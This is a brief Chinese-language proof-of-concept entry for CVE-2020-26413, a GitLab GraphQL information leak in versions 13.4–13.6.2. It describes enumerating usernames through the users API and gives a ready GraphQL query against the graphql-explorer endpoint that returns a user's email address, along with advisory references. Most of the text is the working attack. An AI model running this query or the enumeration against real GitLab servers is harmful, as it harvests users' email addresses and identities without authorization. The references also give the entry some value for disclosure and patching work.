# GitLab Graphql 邮件地址信息泄露 (CVE-2020-26413)

GitLab中存在Graphql接口 输入构造的数据时会泄露用户邮箱和用户名

影响版本：

GitLab 13.4 - 13.6.2

可以先通过接口进行遍历用户名，然后再枚举用户的邮箱...


```
https://xxx/api/v4/users/x
```

poc：

```
http://xxx.xxx.xxx.xxx/-//graphql-explorer
query {  
  user(username:"root"){  
    email  
    username  
  }  
}
```

ref：

* https://mp.weixin.qq.com/s/3cT8d9I7qru2tsURqUDusw
* https://www.cnvd.org.cn/flaw/show/CNVD-2021-14193
* https://nvd.nist.gov/vuln/detail/CVE-2020-26413
* https://gitlab.com/gitlab-org/gitlab/-/issues/244275